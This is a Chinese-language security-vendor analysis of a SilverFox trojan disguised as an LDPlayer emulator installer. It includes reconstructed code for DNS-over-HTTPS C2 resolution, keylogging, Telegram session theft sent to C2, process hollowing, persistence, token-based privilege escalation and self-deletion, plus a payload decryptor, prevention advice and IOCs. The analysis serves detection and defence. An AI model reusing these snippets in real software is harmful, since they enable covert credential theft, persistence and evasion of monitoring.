HTTPS隧道里的银狐:一次DoH隐蔽通信木马的全链路分析

概述

  近日 瑞星威胁情报平台 捕获到一起银狐木马的攻击事件,该木马将自身包装为雷电模拟器安装包,以篡改的 INNO Setup 程序作为初始投递载体,通过白加黑 DLL 劫持逐层解密释放银狐木马本体。该变种最显著的特征是采用了DNS-over-HTTPS(DoH)隐蔽通信——将 C2 域名 oidng2.duoshit.com 的解析请求封装在 HTTPS 中发往阿里 DNS(223.5.5.5)和 Google DNS(8.8.8.8)的 DoH 端点,使恶意流量与正常公共 DNS 访问完全无法区分,从而绕过企业 DNS 监控和防火墙策略。银狐本体还具备 VMProtect 虚拟化保护、键盘记录、凭据窃取、进程注入、屏幕截图、权限提升及多重持久化等完整的后门远控能力。

攻击流程

image

样本分析

初始样本分析

字段 内容
原始文件名 ldplayer9_ld_112_ld.exe
文件大小 7873 KB
文件MD5 8c4fc902905459a53f686372a1a85526
文件类型 EXE
主要功能 释放恶意白加黑组件并启动

  该样本为被篡改的INNO Setup打包程序,核心功能是在释放恶意白加黑组件的同时附带雷电模拟器安装包,以此伪装成正常软件,达到迷惑受害者并规避检测的目的。

image

wjcapture.dll分析

字段 内容
原始文件名 wjcapture.dll
文件大小 66596 KB
文件MD5 319c718edc390a304acb0bc8886e0da5
文件类型 DLL
病毒名 Trojan.ShellCodeRunner!1.14266
主要功能 读取 Update.xml 并解密其内容,在内存中执行解密后的 shellcode

  该 DLL 内部代码大量插入了垃圾指令用于对抗静态分析和反汇编器。以下 7 类指令的共同特征:执行后对程序输出无任何可观测影响。判定标准:写入的寄存器或标志,在下一次被读取之前被另一条指令覆盖,且不影响控制流。

BCD 算术指令aadaamaaadaadas

  x86 中用于 BCD 编码十进制运算的调整指令,现代编译器早已不再生成。在本样本的 XOR 循环体中,aad 0AFh 对 AL 执行 BCD 除法调整,结果立即被下一条 bswap ax 覆盖——AX 被字节反转重写,aad 的调整值未参与任何后续计算。

0x410CBC6  aad     0AFh
0x410CBC8  bswap   ax

死标志操作pushf/popflahfclc/stc/cmc

  这类指令显式读写 EFLAGS 标志寄存器。lahf 将标志位低字节加载到 AH,但紧跟的 clc 清除 CF 位(覆盖了 AH 中对应的标志副本),随后 mov eax, [ebp-8] 完全不依赖标志位。从程序状态角度看,lahfclc 对后续指令的执行结果没有任何影响——它们写入的数据或标志在下一次被读取前均已失效。

0x410CBE7  lahf
0x410CBE8  clc
0x410CBE9  mov     eax, [ebp-8]

死位操作btc/btr/bts/btbswap

  btc 测试并取反寄存器中的单个比特位,bswap 反转 32 位寄存器的字节序。在本样本中,bswap ax 交换 AX 的高低字节后,紧跟的 btc ax, cx 对 AX 执行位测试取反,将整个 AX 作为位掩码操作数覆写。两条指令的累积操作结果在后续代码中均未被读取——从数据流追踪的角度,这对 AX 的操作序列等效于 nop

0x410CBC8  bswap   ax
0x410CBCB  btc     ax, cx

无意义比较cmp/test 后无 jcc

  cmp 执行减法并设置 EFLAGS,test 执行按位与并设置 EFLAGS。两者的输出只有标志位,没有通用寄存器结果,因此只有在后续指令消费这些标志时才有意义。cmp dl, 0Ah 比较后,下一条指令是 add eax, edx——只读通用寄存器,不检查任何标志位。EFLAGS 中刚写入的比较结果在下一条算术指令执行时被自然覆盖。

0x410CC09  cmp     dl, 0Ah
0x410CC0C  add     eax, edx

虚假栈操作push immlea esp, [esp+N]

  正常栈操作为保存/恢复寄存器或传递参数。垃圾指令中的栈操作则是"push 后立即废弃"的模式:push 4FC95A67hpushapushf 连续向栈顶写入数据,随即 lea esp, [esp+8] 将栈指向上拨,越过前面 push 的内容。期间写入栈内存的字节从未被任何指令读取——既无 pop 也无间接寻址引用。单次循环迭代中这种无效栈写入可达 12-20 字节。

0x410CBF7  push    4FC95A67h
0x410CBFC  pusha
0x410CBFD  aaa
0x410CC04  pushf
0x410CC4C  lea     esp, [esp+8]

花指令jmp $+5

  利用 x86 变长指令编码特性构造反汇编陷阱。jmp $+5 的跳转目标落在自身指令末尾后第 5 字节处,该位置是下一条真实指令(mov eax, [ebp-4])编码的第 1 个字节偏移处。当反汇编器从函数开头线性扫描时,会在该点产生指令边界错位——将跳转目标地址的第一字节误解为新指令的操作码,导致后续所有反汇编结果整体偏移。

0x410CBCF  jmp     $+5
0x410CBD4  mov     eax, [ebp-4]

无意义移位shld/shrdrol/ror

  shld 将两个操作数拼接后左移,rol/ror 执行循环移位。shld dx, sp, cl 将 DX 和 SP 拼成 32 位值左移 CL 位后,结果存入 DX。紧跟的 bsf dx, di 对 DI 做位扫描并将结果写入 DX——上一条 shld 的移位结果直接被覆盖。这类重型移位指令在这里除了消耗 CPU 周期外,还可能因 rol/ror 的视觉特征误导分析者朝 RC4/RC5 等循环移位加密算法的方向去猜测。

0x410CC0E  shld    dx, sp, cl
0x410CC12  bsf     dx, di

解密函数汇编还原

  去除上述 7 类垃圾指令后,还原出的解密函数核心逻辑如下:

; ── 阶段1: 种子初始化 ──
    mov     eax, [ebp+0x0C]          ; eax = file_size
    xor     eax, edx                 ; eax = file_size ^ *(DWORD*)data
                                     ; edx 已预装密文前4字节 0x5854194A
    mov     [ebp-0x04], eax          ; state = seed
    mov     [ebp-0x08], 0x04         ; i = 4
    jmp     loop_check               ; goto 循环条件

; ── 阶段2: 循环条件 (loop header) ──
loop_check:
    mov     eax, [ebp-0x08]          ; eax = i
    cmp     eax, [ebp+0x0C]          ; i vs file_size
    jl      loop_body                ; i < file_size → 继续循环
    jmp     exit                     ; 否则退出

; ── 阶段3: 密钥流递推 (state increment, 拆分版) ──
loop_body:
    add     [ebp-0x04], 0x0C         ; state += 12
    add     [ebp-0x04], 0x35         ; state += 53
    add     [ebp-0x04], 0x3E         ; state += 62
    ;                                 ; ≡ state += 127 (0x7F)

; ── 阶段4: 读密文字节 ──
    mov     edx, [ebp-0x08]          ; edx = i
    mov     eax, [ebp+0x08]          ; eax = data
    add     eax, edx                 ; eax = &data[i]
    movzx   eax, byte ptr [eax]      ; eax = data[i] (零扩展至32位)

; ── 阶段5: XOR 解密 ──
    mov     edx, eax                 ; edx = data[i]
    mov     eax, [ebp-0x04]          ; eax = state (32-bit)
    mov     ecx, edx                 ; ecx = data[i]
    xor     ecx, eax                 ; ecx = data[i] ^ state

; ── 阶段6: 偏移写回 ──
    mov     eax, [ebp-0x08]          ; eax = i
    lea     edx, [eax-0x04]          ; edx = i - 4
    mov     eax, [ebp+0x08]          ; eax = data
    add     eax, edx                 ; eax = &data[i-4]
    mov     edx, ecx                 ; edx = (BYTE)(data[i] ^ state)
    mov     byte ptr [eax], dl       ; data[i-4] = 解密字节

; ── 阶段7: 循环递增 ──
    add     [ebp-0x08], 0x01         ; i++
    jmp     loop_check               ; 回到循环条件

exit:
    ; ... (混淆的出口链,最终 retn)

C 等效代码

  种子由待解密的恶意载荷前 4 字节与文件大小异或生成,随后从第 4 字节起逐轮递推:每轮 seed += 0x7F,取低 8 位与当前载荷字节异或,结果写回偏移 -4 的位置,实现零额外缓冲区的就地解密。混淆代码中 seed += 0x7F 被刻意拆为 0x0C + 0x35 + 0x3E 三条指令以隐藏递推常量,消除拆分后核心仅 3 行:

void decrypt(BYTE* data, DWORD file_size) {
    DWORD seed = (*(DWORD*)data) ^ file_size;  // 种子
    for (DWORD i = 4; i < file_size; i++) {
        seed += 0x7F;                           // 32-bit 线性递推
        data[i - 4] = data[i] ^ (BYTE)seed;    // XOR 解密, 偏移写回
    }
}

Python 解密脚本

  经验证,该脚本可成功解密该银狐变种的 Update.xml

import struct

def decrypt(data: bytes) -> bytes:
    """解密恶意载荷,返回明文(末4字节残留丢弃)"""
    data = bytearray(data)
    first_dword = struct.unpack_from('<I', data, 0)[0]
    state = (first_dword ^ len(data)) & 0xFFFFFFFF  # 32-bit 种子

    for i in range(4, len(data)):
        state = (state + 0x7F) & 0xFFFFFFFF          # 32-bit 模加法
        data[i - 4] = data[i] ^ (state & 0xFF)       # 取低8位 XOR, 偏移写回

    return bytes(data[:len(data) - 4])                # 丢弃末4字节残留

内嵌银狐木马分析

字段 内容
文件大小 1005 KB
文件MD5 a63b2d1aeab6322fda74d20e0a54c4b7
文件类型 DLL
病毒名 Backdoor.SilverFox!1.141D8
主要功能 银狐远程控制木马

  样本加了 VMProtect 壳,.vmp0 段占 780KB,约 67% 的函数被虚拟化保护无法直接反编译。但 .text 段中仍有大量辅助函数可分析,配合 218 个导入 API 和明文字符串,可完整还原其恶意功能。DLL 入口点及导出函数代码如下:

// DllEntryPoint
BOOL __stdcall DllEntryPoint(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
    if (fdwReason == 1) {  // DLL_PROCESS_ATTACH
        Init_COM_And_Modules();    // COM初始化, 遍历全局函数指针表调用各模块初始化
        g_pfnCleanup1 = Init_Core_Wrapper();  // FPU初始化→全局结构初始化→thunk到.vmp0
    } else if (!fdwReason) {  // DLL_PROCESS_DETACH
        Cleanup_DLL_Shutdown();    // DLL卸载清理 + CoUninitialize
    }
    return VM_Thunk_Dispatch(result);
}
// 导出函数 Fuck
int Fuck()
{
    return VM_Entry_Thunk();  // → VM_Main_Payload(.vmp0) → VM_Entry_Point (VM Entry)
}

  DLL 加载后首先初始化 COM,遍历模块初始化函数指针表,随后进入 VM 保护层执行主 payload。导出函数 Fuck 是对外部调用者暴露的统一入口。

C2 通信

  样本最值得关注的是其 DNS-over-HTTPS(DoH)隐蔽通信能力。传统恶意软件通常直接连接 C2 服务器,DNS 查询和流量容易被企业安全设备监控。银狐将恶意 C2 域名解析封装在 HTTPS 请求中发送到公共 DoH 服务,使其看起来像正常的 HTTPS 流量,从而绕过 DNS 监控和防火墙策略。

  样本的 .data 段中硬编码了三个公共 DNS 服务器的 IP 地址,与 DoH 请求模板配合使用:

IP 地址 DNS 服务商 DoH 端点 用途
223.5.5.5 AliDNS (阿里公共 DNS) https://dns.alidns.com/dns-query 通过阿里 DNSDoH 服务解析 C2 域名
223.6.6.6 AliDNS (阿里公共 DNS 备用) https://dns.alidns.com/dns-query 备用 DoH 解析
8.8.8.8 Google Public DNS https://dns.google/dns-query 通过 Google DNSDoH 服务解析 C2 域名

  与 DoH 配合使用的关键字符串:

字符串 含义
https://%s/dns-query?dns=%s DoH 请求模板 — %s 填入 DNS 服务器 IP 或域名
/dns-query?dns=%s DoH 查询路径 — RFC 8484 标准 API
oidng2.duoshit.com C2 域名 — 通过 DoH 查询解析其 A 记录获取真实 IP
@%d.%d.%d.%d IP 地址格式化 — 解析 DoH 返回的 C2 服务器 IP

  基于以上字符串、DNS 服务器 IP 和 WinHTTP 导入 API,还原的 DoH 解析流程如下:

// 基于字符串和导入API还原: `DNS`-over-`HTTPS` 隐蔽隧道
void C2_DoH_Resolve()
{
    // 硬编码的三个DoH DNS服务器
    const char* doh_servers[] = {
        "223.5.5.5",     // AliDNS (阿里公共DNS)
        "223.6.6.6",     // AliDNS 备用
        "8.8.8.8"        // Google Public DNS
    };

    for (int i = 0; i < 3; i++) {
        // 1. 将C2域名包装为DNS A记录查询
        char dns_query_b64[256];
        Base64Encode_DNSQuery("oidng2.duoshit.com", dns_query_b64);

        // 2. 构造 `DoH` `HTTPS` 请求 URL
        char url[512];
        sprintf(url, "https://%s/dns-query?dns=%s",
                doh_servers[i], dns_query_b64);  // 如: https://223.5.5.5/dns-query?dns=...

        // 3. 用 `WinHTTP` 发起 `HTTPS` 请求 — 流量看起来像访问阿里DNS/Google的443端口
        HINTERNET hSession = WinHttpOpen(L"Mozilla/5.0 ...", ...);
        HINTERNET hConnect = WinHttpConnect(hSession, doh_servers[i], 443, 0);
        HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET",
            L"/dns-query?dns=...", NULL, NULL, NULL, WINHTTP_FLAG_SECURE);
        WinHttpSendRequest(hRequest, ...);
        WinHttpReceiveResponse(hRequest, NULL);
        WinHttpReadData(hRequest, response, ...);

        // 4. 解析 `DoH` JSON 响应, 提取 `C2` 服务器 IP
        char c2_ip[16];
        if (Parse_DoH_Response(response, c2_ip)) {
            // 5. 用解析出的 IP 直连 C2
            connect(c2_sock, c2_ip, 443);
            return;
        }
    }
}

  这种方案的隐蔽性极高:企业出口设备只能看到去往 223.5.5.5(阿里 DNS)或 8.8.8.8(Google DNS)的 443 端口 HTTPS 流量,与正常用户访问公共 DNS 服务完全一致。传统 DNS 黑名单、DNS 隧道检测、域名信誉系统对此类加密 DNS 流量完全失效——安全设备既看不到被查询的域名,也无法区分恶意查询和正常查询。

  除此之外,样本还具备两条备用 C2 通道:

通道 实现 用途
TCP 自定义协议 WS2_32 (send/recv/connect/accept/bind/listen) 直连 C2,自定义消息格式
WinHTTP/WinINET HTTPS WinHttpSendRequest / HttpSendRequestA 标准 HTTPS C2,与 DoH 共享 WinHTTP

  TCP 通道使用自定义协议格式,相关代码如下:

// Net_Build_Packet — 自定义TCP协议数据包构造
void Net_Build_Packet(void *buf, int type, int flag, void *data)
{
    Packet_Write_Field(buf, 3, type);   // 写入消息类型
    Packet_Write_Field(buf, 7, flag);   // 写入标志
    Packet_Write_Data(buf, 15, data);  // 写入数据载荷
    send(sock, buf, len, 0);      // `TCP` 发送
}

键盘记录

  样本通过 SetWindowsHookExA 安装全局低级键盘钩子(WH_KEYBOARD_LL),实时捕获用户按键。

  GetKeyStateGetForegroundWindowGetWindowTextACallNextHookEx 构成了完整的键盘记录链。相关代码如下:

// KeyboardProc — 键盘钩子回调
LRESULT __stdcall KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    if (!nCode) {
        key_info = Get_Key_Info(1, lParam);           // 获取按键信息
        key_str = Keylog_KeyMapper(key_info, wParam, key_code);     // 虚拟键→可读字符串
        if (Str_Compare_Check(key_str, &g_DefaultValue)) {
            ForegroundWindow = GetForegroundWindow();  // 获取前台窗口
            if (g_hLastForeground != ForegroundWindow) {  // 窗口切换检测
                g_hLastForeground = ForegroundWindow;
                timestamp = Keylog_Timestamp(0, 0, 0);     // 时间戳: YYYY-MM-DD HH:MM:SS
                win_title = Keylog_GetWindowTitle(ForegroundWindow); // 获取窗口标题
                Encrypt_And_WriteLog(2, log_handle, 0, ...); // 加密写入
            }
        }
    }
    return CallNextHookEx(hhk, nCode, wParam, lParam);
}

RC4 加密引擎

  .text 段中包含完整的 RC4 流加密实现,用于加密键盘记录和配置文件:

// RC4_KSA — 密钥调度, 初始化256字节S-box
unsigned __int8 *RC4_KSA(unsigned __int8 *state, int key, unsigned int keylen)
{
    for (int i = 0; i < 256; ++i) {
        state[i] = i;
        state[i] = *(unsigned __int8 *)(i % keylen + key);
    }
    for (int i = 0; i < 256; ++i) {
        int j = (state[i] + j + state[i]) % 256;
        swap(state[i], state[j]);
    }
    state[256] = 0; state[257] = 0;
    return state;
}
// RC4_Block_Encrypt — 块链RC4, 4096B分块+位置依赖密钥
int RC4_Block_Encrypt(int offset, int data, int len, const void *rc4_state, int a5, const void *key32)
{
    qmemcpy(rc4_state_internal, rc4_state, 0x102u);
    for (int block = offset / 4096; len > 0; block++) {
        RC4_KSA_Init(rc4_state_internal, &block_key, 40); // KSA(块计数XOR密钥)
        int chunk = min(len, 4096);
        RC4_PRGA_Crypt(data, chunk, rc4_state_internal);    // PRGA 流加密
        len -= chunk; data += chunk;
    }
    return 1;
}

凭据窃取

  样本中以下字符串明确了凭据窃取目标——Telegram Desktop 的会话数据目录:

字符串
%s\Telegram Desktop\tdata
Program Files\Telegram Desktop\tdata
Program Files (x86)\Telegram Desktop\tdata

  tdata 目录包含 Telegram 的登录会话数据,窃取后可在攻击者机器上直接恢复会话,绕过二次验证。导入表中有 FindFirstFileA / FindClose(文件遍历),印证了搜索和收集行为。基于导入 API 还原的凭据窃取流程如下:

// 基于导入API和字符串还原: Telegram凭据窃取
void StealTelegramSession()
{
    // 尝试三个常见Telegram安装路径
    const char* paths[] = {
        "%s\\Telegram Desktop\\tdata",              // %APPDATA% 路径
        "Program Files\\Telegram Desktop\\tdata",    // 64位安装路径
        "Program Files (x86)\\Telegram Desktop\\tdata" // 32位安装路径
    };
    for (int i = 0; i < 3; i++) {
        HANDLE hFind = FindFirstFileA(paths[i], &findData);
        if (hFind != INVALID_HANDLE_VALUE) {
            // 遍历 `tdata` 目录, 收集 D877F783D5D3EF8C* / key_data* / map* 等会话文件
            do {
                if (findData.cFileName[0] != '.') {
                    ReadFile_And_SendToC2(findData.cFileName);  // 读取并回传C2
                }
            } while (FindNextFileA(hFind, &findData));
            FindClose(hFind);
        }
    }
}

进程注入

  导入表中以下 API 构成经典的进程镂空注入链,将恶意代码注入合法系统进程以隐藏自身:

API 用途
CreateProcessA 创建挂起进程 (CREATE_SUSPENDED)
VirtualAllocEx 在目标进程中分配内存
WriteProcessMemory 向目标进程写入 shellcode
GetThreadContext 获取挂起线程的上下文
SetThreadContext 修改线程入口点指向 shellcode
ResumeThread 恢复线程执行 shellcode
OpenProcess 打开目标进程句柄
TerminateProcess 终止进程

  基于以上 API 调用链,还原的进程镂空注入流程如下:

// 基于导入API还原: 进程镂空注入 (Process Hollowing)
void InjectToProcess(char *targetPath, void *payload, DWORD payloadSize)
{
    STARTUPINFO si = {0}; PROCESS_INFORMATION pi;
    // 1. 创建挂起的目标进程
    CreateProcessA(targetPath, NULL, NULL, NULL, FALSE,
                   CREATE_SUSPENDED, NULL, NULL, &si, &pi);
    // 2. 在目标进程中分配内存
    LPVOID remoteMem = VirtualAllocEx(pi.hProcess, NULL, payloadSize,
                                       MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    // 3. 写入恶意shellcode
    WriteProcessMemory(pi.hProcess, remoteMem, payload, payloadSize, NULL);
    // 4. 获取线程上下文, 修改入口点
    CONTEXT ctx; ctx.ContextFlags = CONTEXT_FULL;
    GetThreadContext(pi.hThread, &ctx);
    ctx.Eax = (DWORD)remoteMem;                // 新入口点 = `shellcode`地址
    SetThreadContext(pi.hThread, &ctx);
    // 5. 恢复线程 - `shellcode`开始执行
    ResumeThread(pi.hThread);
}

持久化

  样本字符串揭示了三种持久化方式:

字符串 方式
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\%s 注册表 Run 键
$svchost.exe -k netcssv Windows 服务 (伪装 svchost)
%s\%s.lnk 启动目录快捷方式

  导入表中 CreateServiceAOpenSCManagerARegSetValueExARegCreateKeyExA 对应以上持久化操作。基于导入 API 还原的持久化安装流程如下:

// 基于导入API和字符串还原: 三种持久化方式
void InstallPersistence(char *exePath)
{
    // 方式1: 注册表 Run 键 (HKCU\Software\Microsoft\Windows\CurrentVersion\Run)
    HKEY hKey;
    RegCreateKeyExA(HKEY_CURRENT_USER,
        "Software\\Microsoft\\Windows\\CurrentVersion\\Run",
        0, NULL, 0, KEY_SET_VALUE, NULL, &hKey, NULL);
    RegSetValueExA(hKey, "UpdateCheck", 0, REG_SZ, exePath, strlen(exePath));
    RegCloseKey(hKey);

    // 方式2: Windows 服务 (伪装成 svchost.exe -k netcssv)
    SC_HANDLE hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
    SC_HANDLE hSvc = CreateServiceA(hSCM, "netcssv", "Network CSS Service",
        SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
        SERVICE_AUTO_START, SERVICE_ERROR_NORMAL,
        "$svchost.exe -k netcssv",  // 伪装命令行
        NULL, NULL, NULL, NULL, NULL);
    CloseServiceHandle(hSvc);
    CloseServiceHandle(hSCM);

    // 方式3: 启动目录快捷方式 (.lnk)
    char lnkPath[MAX_PATH];
    SHGetFolderPathA(NULL, CSIDL_STARTUP, NULL, 0, lnkPath);
    strcat(lnkPath, "\\Update.lnk");
    CreateShortcut(lnkPath, exePath);  // Shell32 IShellLink
}

自删除

  字符串 %s /c ping -n 3 127.0.0.1 > nul && del %s 是一条延迟自删除命令。基于该命令模板还原的执行流程如下:

// 基于字符串还原: 延迟自删除, 清除入侵痕迹
void SelfDelete(char *selfPath)
{
    char cmd[512];
    // ping -n 3 = 约3秒延迟, 确保自身进程已退出后再删除
    sprintf(cmd, "%s /c ping -n 3 127.0.0.1 > nul && del %s",
            "cmd.exe", selfPath);
    WinExec(cmd, SW_HIDE);   // 隐藏窗口执行
    ExitProcess(0);          // 退出自身进程
}

权限提升

  导入表中 DuplicateTokenExWTSQueryUserTokenCreateProcessAsUserAOpenProcessTokenSetTokenInformationAdjustTokenPrivileges 构成 Token 窃取与提权链。基于导入 API 还原的提权流程如下:

// 基于导入API还原: Token窃取与提权
BOOL ElevateToSystem()
{
    // 1. 枚举活动用户会话, 获取已登录用户的Token
    DWORD sessionId;
    HANDLE hUserToken;
    for (sessionId = 0; sessionId < 10; sessionId++) {
        if (WTSQueryUserToken(sessionId, &hUserToken)) {
            // 2. 复制Token以获得可用的主Token
            HANDLE hDupToken;
            DuplicateTokenEx(hUserToken, TOKEN_ALL_ACCESS, NULL,
                             SecurityImpersonation, TokenPrimary, &hDupToken);
            // 3. 以高权限Token创建新进程 (如以SYSTEM身份运行cmd.exe)
            STARTUPINFO si = {0}; PROCESS_INFORMATION pi;
            CreateProcessAsUserA(hDupToken, NULL, "cmd.exe",
                                 NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
            CloseHandle(hDupToken);
            CloseHandle(hUserToken);
            return TRUE;
        }
    }
    return FALSE;
}

屏幕截图

  字符串 [PrintScreen]%s\Scrnshot.dll 表明样本具备屏幕截图功能,部分实现可能由独立插件 DLL 承载。

WshShell 与 TaskScheduler 的 COM 调用

  调用流程为获取 WshShell 对象 → CreateShortcut 创建 → 依次设置 TargetPathWorkingDirectoryArgumentsWindowStyle → 最后 Save 写入磁盘。

  .data 段中相关字符串及交叉引用:

字符串 xref 说明
wshom.ocx 0x10007BAF Windows Script Host 的 COM 库文件。导入表中 CLSIDFromProgIDCoCreateInstance 配合此库创建 COM 对象
WshShell 0x10007BBB ProgID,传入 CLSIDFromProgID 获取 WshShell 类的 CLSID,再由 CoCreateInstance 实例化
WorkingDirectory 0x10007CE2 IWshShortcut 接口属性,设置快捷方式的工作目录(对应 .lnk 文件属性中的"起始位置")
Arguments 0x10007D2D IWshShortcut 接口属性,设置快捷方式的命令行参数
WindowStyle 0x10007D79 IWshShortcut 接口属性,设置运行窗口样式(正常/最小化/最大化)
Save 0x10007DA7 IWshShortcut 接口方法,将内存中的快捷方式对象序列化写入磁盘生成 .lnk 文件
{0f87369f-a4e5-4cfc-bd3e-73e6154572dd} Windows TaskScheduler 的 CLSID,传入 CoCreateInstance 可直接实例化 ITaskService 接口来创建和管理计划任务,全程不调用 schtasks.exe

攻击过程可视化(EDR)

  瑞星EDR上详细记录了主机上的程序活动,通过威胁可视化调查功能,可以对本次攻击过程进行还原以及关系网展示。图中展示了本次攻击活动中涉及到的进程以及相关的域名等情况。

image

总结

  银狐木马攻击团伙自2022年开始活跃,其传播手段包括:即时通讯工具钓鱼,邮件附件钓鱼,钓鱼网站,下载站冒充常用工具等方式,主要针对企事业单位的管理、财务、销售、金融从业等相关人员发送具有针对性的钓鱼、欺诈类信息,望企事业单位务必要引起重视并加强相关安全培训,防范该家族木马的攻击。

预防措施

  1. 不打开可疑文件。

    不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。

  2. 部署网络安全态势感知、预警系统等网关安全产品。

    网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。

  3. 安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。

    杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。

    瑞星ESM目前已经可以检出此次攻击事件的相关样本

image

  1. 及时修补系统补丁和重要软件的补丁。

沦陷信标(IOC)

  • MD5

    8c4fc902905459a53f686372a1a85526
    319c718edc390a304acb0bc8886e0da5
  • Domain

    oidng2.duoshit.com
  • IPV4

    51.79.18.52
  • 瑞星病毒名

    Trojan.ShellCodeRunner!1.14266
    Backdoor.SilverFox!1.141D8

Author

Comments

No comments yet. Why don’t you start the discussion?

Leave a Reply

Your email address will not be published. Required fields are marked *